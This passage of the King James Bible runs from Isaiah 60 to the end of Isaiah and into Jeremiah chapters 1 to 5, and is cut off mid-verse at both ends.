tree, and the box together, to beautify the place of my +sanctuary; and I will make the place of my feet glorious. + +60:14 The sons also of them that afflicted thee shall come bending +unto thee; and all they that despised thee shall bow themselves down +at the soles of thy feet; and they shall call thee; The city of the +LORD, The Zion of the Holy One of Israel. + +60:15 Whereas thou has been forsaken and hated, so that no man went +through thee, I will make thee an eternal excellency, a joy of many +generations. + +60:16 Thou shalt also suck the milk of the Gentiles, and shalt suck +the breast of kings: and thou shalt know that I the LORD am thy +Saviour and thy Redeemer, the mighty One of Jacob. + +60:17 For brass I will bring gold, and for iron I will bring silver, +and for wood brass, and for stones iron: I will also make thy officers +peace, and thine exactors righteousness. + +60:18 Violence shall no more be heard in thy land, wasting nor +destruction within thy borders; but thou shalt call thy walls +Salvation, and thy gates Praise. + +60:19 The sun shall be no more thy light by day; neither for +brightness shall the moon give light unto thee: but the LORD shall be +unto thee an everlasting light, and thy God thy glory. + +60:20 Thy sun shall no more go down; neither shall thy moon withdraw +itself: for the LORD shall be thine everlasting light, and the days of +thy mourning shall be ended. + +60:21 Thy people also shall be all righteous: they shall inherit the +land for ever, the branch of my planting, the work of my hands, that I +may be glorified. + +60:22 A little one shall become a thousand, and a small one a strong +nation: I the LORD will hasten it in his time. + +61:1 The Spirit of the Lord GOD is upon me; because the LORD hath +anointed me to preach good tidings unto the meek; he hath sent me to +bind up the brokenhearted, to proclaim liberty to the captives, and +the opening of the prison to them that are bound; 61:2 To proclaim the +acceptable year of the LORD, and the day of vengeance of our God; to +comfort all that mourn; 61:3 To appoint unto them that mourn in Zion, +to give unto them beauty for ashes, the oil of joy for mourning, the +garment of praise for the spirit of heaviness; that they might be +called trees of righteousness, the planting of the LORD, that he might +be glorified. + +61:4 And they shall build the old wastes, they shall raise up the +former desolations, and they shall repair the waste cities, the +desolations of many generations. + +61:5 And strangers shall stand and feed your flocks, and the sons of +the alien shall be your plowmen and your vinedressers. + +61:6 But ye shall be named the Priests of the LORD: men shall call you +the Ministers of our God: ye shall eat the riches of the Gentiles, and +in their glory shall ye boast yourselves. + +61:7 For your shame ye shall have double; and for confusion they shall +rejoice in their portion: therefore in their land they shall possess +the double: everlasting joy shall be unto them. + +61:8 For I the LORD love judgment, I hate robbery for burnt offering; +and I will direct their work in truth, and I will make an everlasting +covenant with them. + +61:9 And their seed shall be known among the Gentiles, and their +offspring among the people: all that see them shall acknowledge them, +that they are the seed which the LORD hath blessed. + +61:10 I will greatly rejoice in the LORD, my soul shall be joyful in +my God; for he hath clothed me with the garments of salvation, he hath +covered me with the robe of righteousness, as a bridegroom decketh +himself with ornaments, and as a bride adorneth herself with her +jewels. + +61:11 For as the earth bringeth forth her bud, and as the garden +causeth the things that are sown in it to spring forth; so the Lord +GOD will cause righteousness and praise to spring forth before all the +nations. + +62:1 For Zion's sake will I not hold my peace, and for Jerusalem's +sake I will not rest, until the righteousness thereof go forth as +brightness, and the salvation thereof as a lamp that burneth. + +62:2 And the Gentiles shall see thy righteousness, and all kings thy +glory: and thou shalt be called by a new name, which the mouth of the +LORD shall name. + +62:3 Thou shalt also be a crown of glory in the hand of the LORD, and +a royal diadem in the hand of thy God. + +62:4 Thou shalt no more be termed Forsaken; neither shall thy land any +more be termed Desolate: but thou shalt be called Hephzibah, and thy +land Beulah: for the LORD delighteth in thee, and thy land shall be +married. + +62:5 For as a young man marrieth a virgin, so shall thy sons marry +thee: and as the bridegroom rejoiceth over the bride, so shall thy God +rejoice over thee. + +62:6 I have set watchmen upon thy walls, O Jerusalem, which shall +never hold their peace day nor night: ye that make mention of the +LORD, keep not silence, 62:7 And give him no rest, till he establish, +and till he make Jerusalem a praise in the earth. + +62:8 The LORD hath sworn by his right hand, and by the arm of his +strength, Surely I will no more give thy corn to be meat for thine +enemies; and the sons of the stranger shall not drink thy wine, for +the which thou hast laboured: 62:9 But they that have gathered it +shall eat it, and praise the LORD; and they that have brought it +together shall drink it in the courts of my holiness. + +62:10 Go through, go through the gates; prepare ye the way of the +people; cast up, cast up the highway; gather out the stones; lift up a +standard for the people. + +62:11 Behold, the LORD hath proclaimed unto the end of the world, Say +ye to the daughter of Zion, Behold, thy salvation cometh; behold, his +reward is with him, and his work before him. + +62:12 And they shall call them, The holy people, The redeemed of the +LORD: and thou shalt be called, Sought out, A city not forsaken. + +63:1 Who is this that cometh from Edom, with dyed garments from +Bozrah? this that is glorious in his apparel, travelling in the +greatness of his strength? I that speak in righteousness, mighty to +save. + +63:2 Wherefore art thou red in thine apparel, and thy garments like +him that treadeth in the winefat? 63:3 I have trodden the winepress +alone; and of the people there was none with me: for I will tread them +in mine anger, and trample them in my fury; and their blood shall be +sprinkled upon my garments, and I will stain all my raiment. + +63:4 For the day of vengeance is in mine heart, and the year of my +redeemed is come. + +63:5 And I looked, and there was none to help; and I wondered that +there was none to uphold: therefore mine own arm brought salvation +unto me; and my fury, it upheld me. + +63:6 And I will tread down the people in mine anger, and make them +drunk in my fury, and I will bring down their strength to the earth. + +63:7 I will mention the lovingkindnesses of the LORD, and the praises +of the LORD, according to all that the LORD hath bestowed on us, and +the great goodness toward the house of Israel, which he hath bestowed +on them according to his mercies, and according to the multitude of +his lovingkindnesses. + +63:8 For he said, Surely they are my people, children that will not +lie: so he was their Saviour. + +63:9 In all their affliction he was afflicted, and the angel of his +presence saved them: in his love and in his pity he redeemed them; and +he bare them, and carried them all the days of old. + +63:10 But they rebelled, and vexed his holy Spirit: therefore he was +turned to be their enemy, and he fought against them. + +63:11 Then he remembered the days of old, Moses, and his people, +saying, Where is he that brought them up out of the sea with the +shepherd of his flock? where is he that put his holy Spirit within +him? 63:12 That led them by the right hand of Moses with his glorious +arm, dividing the water before them, to make himself an everlasting +name? 63:13 That led them through the deep, as an horse in the +wilderness, that they should not stumble? 63:14 As a beast goeth down +into the valley, the Spirit of the LORD caused him to rest: so didst +thou lead thy people, to make thyself a glorious name. + +63:15 Look down from heaven, and behold from the habitation of thy +holiness and of thy glory: where is thy zeal and thy strength, the +sounding of thy bowels and of thy mercies toward me? are they +restrained? 63:16 Doubtless thou art our father, though Abraham be +ignorant of us, and Israel acknowledge us not: thou, O LORD, art our +father, our redeemer; thy name is from everlasting. + +63:17 O LORD, why hast thou made us to err from thy ways, and hardened +our heart from thy fear? Return for thy servants' sake, the tribes of +thine inheritance. + +63:18 The people of thy holiness have possessed it but a little while: +our adversaries have trodden down thy sanctuary. + +63:19 We are thine: thou never barest rule over them; they were not +called by thy name. + +64:1 Oh that thou wouldest rend the heavens, that thou wouldest come +down, that the mountains might flow down at thy presence, 64:2 As when +the melting fire burneth, the fire causeth the waters to boil, to make +thy name known to thine adversaries, that the nations may tremble at +thy presence! 64:3 When thou didst terrible things which we looked +not for, thou camest down, the mountains flowed down at thy presence. + +64:4 For since the beginning of the world men have not heard, nor +perceived by the ear, neither hath the eye seen, O God, beside thee, +what he hath prepared for him that waiteth for him. + +64:5 Thou meetest him that rejoiceth and worketh righteousness, those +that remember thee in thy ways: behold, thou art wroth; for we have +sinned: in those is continuance, and we shall be saved. + +64:6 But we are all as an unclean thing, and all our righteousnesses +are as filthy rags; and we all do fade as a leaf; and our iniquities, +like the wind, have taken us away. + +64:7 And there is none that calleth upon thy name, that stirreth up +himself to take hold of thee: for thou hast hid thy face from us, and +hast consumed us, because of our iniquities. + +64:8 But now, O LORD, thou art our father; we are the clay, and thou +our potter; and we all are the work of thy hand. + +64:9 Be not wroth very sore, O LORD, neither remember iniquity for +ever: behold, see, we beseech thee, we are all thy people. + +64:10 Thy holy cities are a wilderness, Zion is a wilderness, +Jerusalem a desolation. + +64:11 Our holy and our beautiful house, where our fathers praised +thee, is burned up with fire: and all our pleasant things are laid +waste. + +64:12 Wilt thou refrain thyself for these things, O LORD? wilt thou +hold thy peace, and afflict us very sore? 65:1 I am sought of them +that asked not for me; I am found of them that sought me not: I said, +Behold me, behold me, unto a nation that was not called by my name. + +65:2 I have spread out my hands all the day unto a rebellious people, +which walketh in a way that was not good, after their own thoughts; +65:3 A people that provoketh me to anger continually to my face; that +sacrificeth in gardens, and burneth incense upon altars of brick; 65:4 +Which remain among the graves, and lodge in the monuments, which eat +swine's flesh, and broth of abominable things is in their vessels; +65:5 Which say, Stand by thyself, come not near to me; for I am holier +than thou. These are a smoke in my nose, a fire that burneth all the +day. + +65:6 Behold, it is written before me: I will not keep silence, but +will recompense, even recompense into their bosom, 65:7 Your +iniquities, and the iniquities of your fathers together, saith the +LORD, which have burned incense upon the mountains, and blasphemed me +upon the hills: therefore will I measure their former work into their +bosom. + +65:8 Thus saith the LORD, As the new wine is found in the cluster, and +one saith, Destroy it not; for a blessing is in it: so will I do for +my servants' sakes, that I may not destroy them all. + +65:9 And I will bring forth a seed out of Jacob, and out of Judah an +inheritor of my mountains: and mine elect shall inherit it, and my +servants shall dwell there. + +65:10 And Sharon shall be a fold of flocks, and the valley of Achor a +place for the herds to lie down in, for my people that have sought me. + +65:11 But ye are they that forsake the LORD, that forget my holy +mountain, that prepare a table for that troop, and that furnish the +drink offering unto that number. + +65:12 Therefore will I number you to the sword, and ye shall all bow +down to the slaughter: because when I called, ye did not answer; when +I spake, ye did not hear; but did evil before mine eyes, and did +choose that wherein I delighted not. + +65:13 Therefore thus saith the Lord GOD, Behold, my servants shall +eat, but ye shall be hungry: behold, my servants shall drink, but ye +shall be thirsty: behold, my servants shall rejoice, but ye shall be +ashamed: 65:14 Behold, my servants shall sing for joy of heart, but ye +shall cry for sorrow of heart, and shall howl for vexation of spirit. + +65:15 And ye shall leave your name for a curse unto my chosen: for the +Lord GOD shall slay thee, and call his servants by another name: 65:16 +That he who blesseth himself in the earth shall bless himself in the +God of truth; and he that sweareth in the earth shall swear by the God +of truth; because the former troubles are forgotten, and because they +are hid from mine eyes. + +65:17 For, behold, I create new heavens and a new earth: and the +former shall not be remembered, nor come into mind. + +65:18 But be ye glad and rejoice for ever in that which I create: for, +behold, I create Jerusalem a rejoicing, and her people a joy. + +65:19 And I will rejoice in Jerusalem, and joy in my people: and the +voice of weeping shall be no more heard in her, nor the voice of +crying. + +65:20 There shall be no more thence an infant of days, nor an old man +that hath not filled his days: for the child shall die an hundred +years old; but the sinner being an hundred years old shall be +accursed. + +65:21 And they shall build houses, and inhabit them; and they shall +plant vineyards, and eat the fruit of them. + +65:22 They shall not build, and another inhabit; they shall not plant, +and another eat: for as the days of a tree are the days of my people, +and mine elect shall long enjoy the work of their hands. + +65:23 They shall not labour in vain, nor bring forth for trouble; for +they are the seed of the blessed of the LORD, and their offspring with +them. + +65:24 And it shall come to pass, that before they call, I will answer; +and while they are yet speaking, I will hear. + +65:25 The wolf and the lamb shall feed together, and the lion shall +eat straw like the bullock: and dust shall be the serpent's meat. They +shall not hurt nor destroy in all my holy mountain, saith the LORD. + +66:1 Thus saith the LORD, The heaven is my throne, and the earth is my +footstool: where is the house that ye build unto me? and where is the +place of my rest? 66:2 For all those things hath mine hand made, and +all those things have been, saith the LORD: but to this man will I +look, even to him that is poor and of a contrite spirit, and trembleth +at my word. + +66:3 He that killeth an ox is as if he slew a man; he that sacrificeth +a lamb, as if he cut off a dog's neck; he that offereth an oblation, +as if he offered swine's blood; he that burneth incense, as if he +blessed an idol. + +Yea, they have chosen their own ways, and their soul delighteth in +their abominations. + +66:4 I also will choose their delusions, and will bring their fears +upon them; because when I called, none did answer; when I spake, they +did not hear: but they did evil before mine eyes, and chose that in +which I delighted not. + +66:5 Hear the word of the LORD, ye that tremble at his word; Your +brethren that hated you, that cast you out for my name's sake, said, +Let the LORD be glorified: but he shall appear to your joy, and they +shall be ashamed. + +66:6 A voice of noise from the city, a voice from the temple, a voice +of the LORD that rendereth recompence to his enemies. + +66:7 Before she travailed, she brought forth; before her pain came, +she was delivered of a man child. + +66:8 Who hath heard such a thing? who hath seen such things? Shall the +earth be made to bring forth in one day? or shall a nation be born at +once? for as soon as Zion travailed, she brought forth her children. + +66:9 Shall I bring to the birth, and not cause to bring forth? saith +the LORD: shall I cause to bring forth, and shut the womb? saith thy +God. + +66:10 Rejoice ye with Jerusalem, and be glad with her, all ye that +love her: rejoice for joy with her, all ye that mourn for her: 66:11 +That ye may suck, and be satisfied with the breasts of her +consolations; that ye may milk out, and be delighted with the +abundance of her glory. + +66:12 For thus saith the LORD, Behold, I will extend peace to her like +a river, and the glory of the Gentiles like a flowing stream: then +shall ye suck, ye shall be borne upon her sides, and be dandled upon +her knees. + +66:13 As one whom his mother comforteth, so will I comfort you; and ye +shall be comforted in Jerusalem. + +66:14 And when ye see this, your heart shall rejoice, and your bones +shall flourish like an herb: and the hand of the LORD shall be known +toward his servants, and his indignation toward his enemies. + +66:15 For, behold, the LORD will come with fire, and with his chariots +like a whirlwind, to render his anger with fury, and his rebuke with +flames of fire. + +66:16 For by fire and by his sword will the LORD plead with all flesh: +and the slain of the LORD shall be many. + +66:17 They that sanctify themselves, and purify themselves in the +gardens behind one tree in the midst, eating swine's flesh, and the +abomination, and the mouse, shall be consumed together, saith the +LORD. + +66:18 For I know their works and their thoughts: it shall come, that I +will gather all nations and tongues; and they shall come, and see my +glory. + +66:19 And I will set a sign among them, and I will send those that +escape of them unto the nations, to Tarshish, Pul, and Lud, that draw +the bow, to Tubal, and Javan, to the isles afar off, that have not +heard my fame, neither have seen my glory; and they shall declare my +glory among the Gentiles. + +66:20 And they shall bring all your brethren for an offering unto the +LORD out of all nations upon horses, and in chariots, and in litters, +and upon mules, and upon swift beasts, to my holy mountain Jerusalem, +saith the LORD, as the children of Israel bring an offering in a clean +vessel into the house of the LORD. + +66:21 And I will also take of them for priests and for Levites, saith +the LORD. + +66:22 For as the new heavens and the new earth, which I will make, +shall remain before me, saith the LORD, so shall your seed and your +name remain. + +66:23 And it shall come to pass, that from one new moon to another, +and from one sabbath to another, shall all flesh come to worship +before me, saith the LORD. + +66:24 And they shall go forth, and look upon the carcases of the men +that have transgressed against me: for their worm shall not die, +neither shall their fire be quenched; and they shall be an abhorring +unto all flesh. + + + + +The Book of the Prophet Jeremiah + + +1:1 The words of Jeremiah the son of Hilkiah, of the priests that +were in Anathoth in the land of Benjamin: 1:2 To whom the word of the +LORD came in the days of Josiah the son of Amon king of Judah, in the +thirteenth year of his reign. + +1:3 It came also in the days of Jehoiakim the son of Josiah king of +Judah, unto the end of the eleventh year of Zedekiah the son of Josiah +king of Judah, unto the carrying away of Jerusalem captive in the +fifth month. + +1:4 Then the word of the LORD came unto me, saying, 1:5 Before I +formed thee in the belly I knew thee; and before thou camest forth out +of the womb I sanctified thee, and I ordained thee a prophet unto the +nations. + +1:6 Then said I, Ah, Lord GOD! behold, I cannot speak: for I am a +child. + +1:7 But the LORD said unto me, Say not, I am a child: for thou shalt +go to all that I shall send thee, and whatsoever I command thee thou +shalt speak. + +1:8 Be not afraid of their faces: for I am with thee to deliver thee, +saith the LORD. + +1:9 Then the LORD put forth his hand, and touched my mouth. And the +LORD said unto me, Behold, I have put my words in thy mouth. + +1:10 See, I have this day set thee over the nations and over the +kingdoms, to root out, and to pull down, and to destroy, and to throw +down, to build, and to plant. + +1:11 Moreover the word of the LORD came unto me, saying, Jeremiah, +what seest thou? And I said, I see a rod of an almond tree. + +1:12 Then said the LORD unto me, Thou hast well seen: for I will +hasten my word to perform it. + +1:13 And the word of the LORD came unto me the second time, saying, +What seest thou? And I said, I see a seething pot; and the face +thereof is toward the north. + +1:14 Then the LORD said unto me, Out of the north an evil shall break +forth upon all the inhabitants of the land. + +1:15 For, lo, I will call all the families of the kingdoms of the +north, saith the LORD; and they shall come, and they shall set every +one his throne at the entering of the gates of Jerusalem, and against +all the walls thereof round about, and against all the cities of +Judah. + +1:16 And I will utter my judgments against them touching all their +wickedness, who have forsaken me, and have burned incense unto other +gods, and worshipped the works of their own hands. + +1:17 Thou therefore gird up thy loins, and arise, and speak unto them +all that I command thee: be not dismayed at their faces, lest I +confound thee before them. + +1:18 For, behold, I have made thee this day a defenced city, and an +iron pillar, and brasen walls against the whole land, against the +kings of Judah, against the princes thereof, against the priests +thereof, and against the people of the land. + +1:19 And they shall fight against thee; but they shall not prevail +against thee; for I am with thee, saith the LORD, to deliver thee. + +2:1 Moreover the word of the LORD came to me, saying, 2:2 Go and cry +in the ears of Jerusalem, saying, Thus saith the LORD; I remember +thee, the kindness of thy youth, the love of thine espousals, when +thou wentest after me in the wilderness, in a land that was not sown. + +2:3 Israel was holiness unto the LORD, and the firstfruits of his +increase: all that devour him shall offend; evil shall come upon them, +saith the LORD. + +2:4 Hear ye the word of the LORD, O house of Jacob, and all the +families of the house of Israel: 2:5 Thus saith the LORD, What +iniquity have your fathers found in me, that they are gone far from +me, and have walked after vanity, and are become vain? 2:6 Neither +said they, Where is the LORD that brought us up out of the land of +Egypt, that led us through the wilderness, through a land of deserts +and of pits, through a land of drought, and of the shadow of death, +through a land that no man passed through, and where no man dwelt? +2:7 And I brought you into a plentiful country, to eat the fruit +thereof and the goodness thereof; but when ye entered, ye defiled my +land, and made mine heritage an abomination. + +2:8 The priests said not, Where is the LORD? and they that handle the +law knew me not: the pastors also transgressed against me, and the +prophets prophesied by Baal, and walked after things that do not +profit. + +2:9 Wherefore I will yet plead with you, saith the LORD, and with your +children's children will I plead. + +2:10 For pass over the isles of Chittim, and see; and send unto Kedar, +and consider diligently, and see if there be such a thing. + +2:11 Hath a nation changed their gods, which are yet no gods? but my +people have changed their glory for that which doth not profit. + +2:12 Be astonished, O ye heavens, at this, and be horribly afraid, be +ye very desolate, saith the LORD. + +2:13 For my people have committed two evils; they have forsaken me the +fountain of living waters, and hewed them out cisterns, broken +cisterns, that can hold no water. + +2:14 Is Israel a servant? is he a homeborn slave? why is he spoiled? +2:15 The young lions roared upon him, and yelled, and they made his +land waste: his cities are burned without inhabitant. + +2:16 Also the children of Noph and Tahapanes have broken the crown of +thy head. + +2:17 Hast thou not procured this unto thyself, in that thou hast +forsaken the LORD thy God, when he led thee by the way? 2:18 And now +what hast thou to do in the way of Egypt, to drink the waters of +Sihor? or what hast thou to do in the way of Assyria, to drink the +waters of the river? 2:19 Thine own wickedness shall correct thee, +and thy backslidings shall reprove thee: know therefore and see that +it is an evil thing and bitter, that thou hast forsaken the LORD thy +God, and that my fear is not in thee, saith the Lord GOD of hosts. + +2:20 For of old time I have broken thy yoke, and burst thy bands; and +thou saidst, I will not transgress; when upon every high hill and +under every green tree thou wanderest, playing the harlot. + +2:21 Yet I had planted thee a noble vine, wholly a right seed: how +then art thou turned into the degenerate plant of a strange vine unto +me? 2:22 For though thou wash thee with nitre, and take thee much +soap, yet thine iniquity is marked before me, saith the Lord GOD. + +2:23 How canst thou say, I am not polluted, I have not gone after +Baalim? see thy way in the valley, know what thou hast done: thou art +a swift dromedary traversing her ways; 2:24 A wild ass used to the +wilderness, that snuffeth up the wind at her pleasure; in her occasion +who can turn her away? all they that seek her will not weary +themselves; in her month they shall find her. + +2:25 Withhold thy foot from being unshod, and thy throat from thirst: +but thou saidst, There is no hope: no; for I have loved strangers, and +after them will I go. + +2:26 As the thief is ashamed when he is found, so is the house of +Israel ashamed; they, their kings, their princes, and their priests, +and their prophets. + +2:27 Saying to a stock, Thou art my father; and to a stone, Thou hast +brought me forth: for they have turned their back unto me, and not +their face: but in the time of their trouble they will say, Arise, and +save us. + +2:28 But where are thy gods that thou hast made thee? let them arise, +if they can save thee in the time of thy trouble: for according to the +number of thy cities are thy gods, O Judah. + +2:29 Wherefore will ye plead with me? ye all have transgressed against +me, saith the LORD. + +2:30 In vain have I smitten your children; they received no +correction: your own sword hath devoured your prophets, like a +destroying lion. + +2:31 O generation, see ye the word of the LORD. Have I been a +wilderness unto Israel? a land of darkness? wherefore say my people, +We are lords; we will come no more unto thee? 2:32 Can a maid forget +her ornaments, or a bride her attire? yet my people have forgotten me +days without number. + +2:33 Why trimmest thou thy way to seek love? therefore hast thou also +taught the wicked ones thy ways. + +2:34 Also in thy skirts is found the blood of the souls of the poor +innocents: I have not found it by secret search, but upon all these. + +2:35 Yet thou sayest, Because I am innocent, surely his anger shall +turn from me. Behold, I will plead with thee, because thou sayest, I +have not sinned. + +2:36 Why gaddest thou about so much to change thy way? thou also shalt +be ashamed of Egypt, as thou wast ashamed of Assyria. + +2:37 Yea, thou shalt go forth from him, and thine hands upon thine +head: for the LORD hath rejected thy confidences, and thou shalt not +prosper in them. + +3:1 They say, If a man put away his wife, and she go from him, and +become another man's, shall he return unto her again? shall not that +land be greatly polluted? but thou hast played the harlot with many +lovers; yet return again to me, saith the LORD. + +3:2 Lift up thine eyes unto the high places, and see where thou hast +not been lien with. In the ways hast thou sat for them, as the Arabian +in the wilderness; and thou hast polluted the land with thy whoredoms +and with thy wickedness. + +3:3 Therefore the showers have been withholden, and there hath been no +latter rain; and thou hadst a whore's forehead, thou refusedst to be +ashamed. + +3:4 Wilt thou not from this time cry unto me, My father, thou art the +guide of my youth? 3:5 Will he reserve his anger for ever? will he +keep it to the end? Behold, thou hast spoken and done evil things as +thou couldest. + +3:6 The LORD said also unto me in the days of Josiah the king, Hast +thou seen that which backsliding Israel hath done? she is gone up upon +every high mountain and under every green tree, and there hath played +the harlot. + +3:7 And I said after she had done all these things, Turn thou unto me. +But she returned not. And her treacherous sister Judah saw it. + +3:8 And I saw, when for all the causes whereby backsliding Israel +committed adultery I had put her away, and given her a bill of +divorce; yet her treacherous sister Judah feared not, but went and +played the harlot also. + +3:9 And it came to pass through the lightness of her whoredom, that +she defiled the land, and committed adultery with stones and with +stocks. + +3:10 And yet for all this her treacherous sister Judah hath not turned +unto me with her whole heart, but feignedly, saith the LORD. + +3:11 And the LORD said unto me, The backsliding Israel hath justified +herself more than treacherous Judah. + +3:12 Go and proclaim these words toward the north, and say, Return, +thou backsliding Israel, saith the LORD; and I will not cause mine +anger to fall upon you: for I am merciful, saith the LORD, and I will +not keep anger for ever. + +3:13 Only acknowledge thine iniquity, that thou hast transgressed +against the LORD thy God, and hast scattered thy ways to the strangers +under every green tree, and ye have not obeyed my voice, saith the +LORD. + +3:14 Turn, O backsliding children, saith the LORD; for I am married +unto you: and I will take you one of a city, and two of a family, and +I will bring you to Zion: 3:15 And I will give you pastors according +to mine heart, which shall feed you with knowledge and understanding. + +3:16 And it shall come to pass, when ye be multiplied and increased in +the land, in those days, saith the LORD, they shall say no more, The +ark of the covenant of the LORD: neither shall it come to mind: +neither shall they remember it; neither shall they visit it; neither +shall that be done any more. + +3:17 At that time they shall call Jerusalem the throne of the LORD; +and all the nations shall be gathered unto it, to the name of the +LORD, to Jerusalem: neither shall they walk any more after the +imagination of their evil heart. + +3:18 In those days the house of Judah shall walk with the house of +Israel, and they shall come together out of the land of the north to +the land that I have given for an inheritance unto your fathers. + +3:19 But I said, How shall I put thee among the children, and give +thee a pleasant land, a goodly heritage of the hosts of nations? and I +said, Thou shalt call me, My father; and shalt not turn away from me. + +3:20 Surely as a wife treacherously departeth from her husband, so +have ye dealt treacherously with me, O house of Israel, saith the +LORD. + +3:21 A voice was heard upon the high places, weeping and supplications +of the children of Israel: for they have perverted their way, and they +have forgotten the LORD their God. + +3:22 Return, ye backsliding children, and I will heal your +backslidings. + +Behold, we come unto thee; for thou art the LORD our God. + +3:23 Truly in vain is salvation hoped for from the hills, and from the +multitude of mountains: truly in the LORD our God is the salvation of +Israel. + +3:24 For shame hath devoured the labour of our fathers from our youth; +their flocks and their herds, their sons and their daughters. + +3:25 We lie down in our shame, and our confusion covereth us: for we +have sinned against the LORD our God, we and our fathers, from our +youth even unto this day, and have not obeyed the voice of the LORD +our God. + +4:1 If thou wilt return, O Israel, saith the LORD, return unto me: and +if thou wilt put away thine abominations out of my sight, then shalt +thou not remove. + +4:2 And thou shalt swear, The LORD liveth, in truth, in judgment, and +in righteousness; and the nations shall bless themselves in him, and +in him shall they glory. + +4:3 For thus saith the LORD to the men of Judah and Jerusalem, Break +up your fallow ground, and sow not among thorns. + +4:4 Circumcise yourselves to the LORD, and take away the foreskins of +your heart, ye men of Judah and inhabitants of Jerusalem: lest my fury +come forth like fire, and burn that none can quench it, because of the +evil of your doings. + +4:5 Declare ye in Judah, and publish in Jerusalem; and say, Blow ye +the trumpet in the land: cry, gather together, and say, Assemble +yourselves, and let us go into the defenced cities. + +4:6 Set up the standard toward Zion: retire, stay not: for I will +bring evil from the north, and a great destruction. + +4:7 The lion is come up from his thicket, and the destroyer of the +Gentiles is on his way; he is gone forth from his place to make thy +land desolate; and thy cities shall be laid waste, without an +inhabitant. + +4:8 For this gird you with sackcloth, lament and howl: for the fierce +anger of the LORD is not turned back from us. + +4:9 And it shall come to pass at that day, saith the LORD, that the +heart of the king shall perish, and the heart of the princes; and the +priests shall be astonished, and the prophets shall wonder. + +4:10 Then said I, Ah, Lord GOD! surely thou hast greatly deceived this +people and Jerusalem, saying, Ye shall have peace; whereas the sword +reacheth unto the soul. + +4:11 At that time shall it be said to this people and to Jerusalem, A +dry wind of the high places in the wilderness toward the daughter of +my people, not to fan, nor to cleanse, 4:12 Even a full wind from +those places shall come unto me: now also will I give sentence against +them. + +4:13 Behold, he shall come up as clouds, and his chariots shall be as +a whirlwind: his horses are swifter than eagles. Woe unto us! for we +are spoiled. + +4:14 O Jerusalem, wash thine heart from wickedness, that thou mayest +be saved. How long shall thy vain thoughts lodge within thee? 4:15 +For a voice declareth from Dan, and publisheth affliction from mount +Ephraim. + +4:16 Make ye mention to the nations; behold, publish against +Jerusalem, that watchers come from a far country, and give out their +voice against the cities of Judah. + +4:17 As keepers of a field, are they against her round about; because +she hath been rebellious against me, saith the LORD. + +4:18 Thy way and thy doings have procured these things unto thee; this +is thy wickedness, because it is bitter, because it reacheth unto +thine heart. + +4:19 My bowels, my bowels! I am pained at my very heart; my heart +maketh a noise in me; I cannot hold my peace, because thou hast heard, +O my soul, the sound of the trumpet, the alarm of war. + +4:20 Destruction upon destruction is cried; for the whole land is +spoiled: suddenly are my tents spoiled, and my curtains in a moment. + +4:21 How long shall I see the standard, and hear the sound of the +trumpet? 4:22 For my people is foolish, they have not known me; they +are sottish children, and they have none understanding: they are wise +to do evil, but to do good they have no knowledge. + +4:23 I beheld the earth, and, lo, it was without form, and void; and +the heavens, and they had no light. + +4:24 I beheld the mountains, and, lo, they trembled, and all the hills +moved lightly. + +4:25 I beheld, and, lo, there was no man, and all the birds of the +heavens were fled. + +4:26 I beheld, and, lo, the fruitful place was a wilderness, and all +the cities thereof were broken down at the presence of the LORD, and +by his fierce anger. + +4:27 For thus hath the LORD said, The whole land shall be desolate; +yet will I not make a full end. + +4:28 For this shall the earth mourn, and the heavens above be black; +because I have spoken it, I have purposed it, and will not repent, +neither will I turn back from it. + +4:29 The whole city shall flee for the noise of the horsemen and +bowmen; they shall go into thickets, and climb up upon the rocks: +every city shall be forsaken, and not a man dwell therein. + +4:30 And when thou art spoiled, what wilt thou do? Though thou +clothest thyself with crimson, though thou deckest thee with ornaments +of gold, though thou rentest thy face with painting, in vain shalt +thou make thyself fair; thy lovers will despise thee, they will seek +thy life. + +4:31 For I have heard a voice as of a woman in travail, and the +anguish as of her that bringeth forth her first child, the voice of +the daughter of Zion, that bewaileth herself, that spreadeth her +hands, saying, Woe is me now! for my soul is wearied because of +murderers. + +5:1 Run ye to and fro through the streets of Jerusalem, and see now, +and know, and seek in the broad places thereof, if ye can find a man, +if there be any that executeth judgment, that seeketh the truth; and I +will pardon it. + +5:2 And though they say, The LORD liveth; surely they swear falsely. + +5:3 O LORD, are not thine eyes upon the truth? thou hast stricken +them, but they have not grieved; thou hast consumed them, but they +have refused to receive correction: they have made their faces harder +than a rock; they have refused to return. + +5:4 Therefore I said, Surely these are poor; they are foolish: for +they know not the way of the LORD, nor the judgment of their God. + +5:5 I will get me unto the great men, and will speak unto them; for +they have known the way of the LORD, and the judgment of their God: +but these have altogether broken the yoke, and burst the bonds. + +5:6 Wherefore a lion out of the forest shall slay them, and a wolf of +the evenings shall spoil them, a leopard shall watch over their +cities: every one that goeth out thence shall be torn in pieces: +because their transgressions are many, and their backslidings are +increased. + +5:7 How shall I pardon thee for this? thy children have forsaken me, +and sworn by them that are no gods: when I had fed them to the full, +they then committed adultery, and assembled themselves by troops in +the harlots' houses. + +5:8 They were as fed horses in the morning: every one neighed after +his neighbour's wife. + +5:9 Shall I not visit for these things? saith the LORD: and shall not +my soul be avenged on such a nation as this? 5:10 Go ye up upon her +walls, and destroy; but make not a full end: take away her +battlements; for they are not the LORD's. + +5:11 For the house of Israel and the house of Judah have dealt very +treacherously against me, saith the LORD. + +5:12 They have belied the LORD, and said, It is not he; neither shall +evil come upon us; neither shall we see sword nor famine: 5:13 And the +prophets shall become wind, and the word is not in them: thus shall it +be done unto them. + +5:14 Wherefore thus saith the LORD God of hosts, Because ye speak this +word, behold, I will make my words in thy mouth fire, and this people +wood, and it shall devour them. + +5:15 Lo, I will bring a nation upon you from far, O house of Israel, +saith the LORD: it is a mighty nation, it is an ancient nation, a +nation whose language thou knowest not, neither understandest what +they say. + +5:16 Their quiver is as an open sepulchre, they are all mighty men. + +5:17 And they shall eat up thine harvest, and thy bread, which thy +sons and thy daughters should eat: they shall eat up thy flocks and +thine herds: they shall eat up thy vines and thy fig trees: they shall +impoverish thy fenced cities, wherein thou trustedst, with the sword. + +5:18 Nevertheless in those days, saith the LORD, I will not make a +full end with you. + +5:19 And it shall come to pass, when ye shall say, Wherefore doeth the +LORD our God all these things unto us? then shalt thou answer them, +Like as ye have forsaken me, and served strange gods in your land, so +shall ye serve strangers in a land that is not your's. + +5:20 Declare this in the house of Jacob, and publish it in Judah, +saying, 5:21 Hear now this, O foolish people, and without +understanding; which have eyes, and see not; which have ears, and hear +not: 5:22 Fear ye not me? saith the LORD: will ye not tremble at my +presence, which have placed the sand for the bound of the sea by a +perpetual decree, that it cannot pass it: and though the waves thereof +toss themselves, yet can they not prevail; 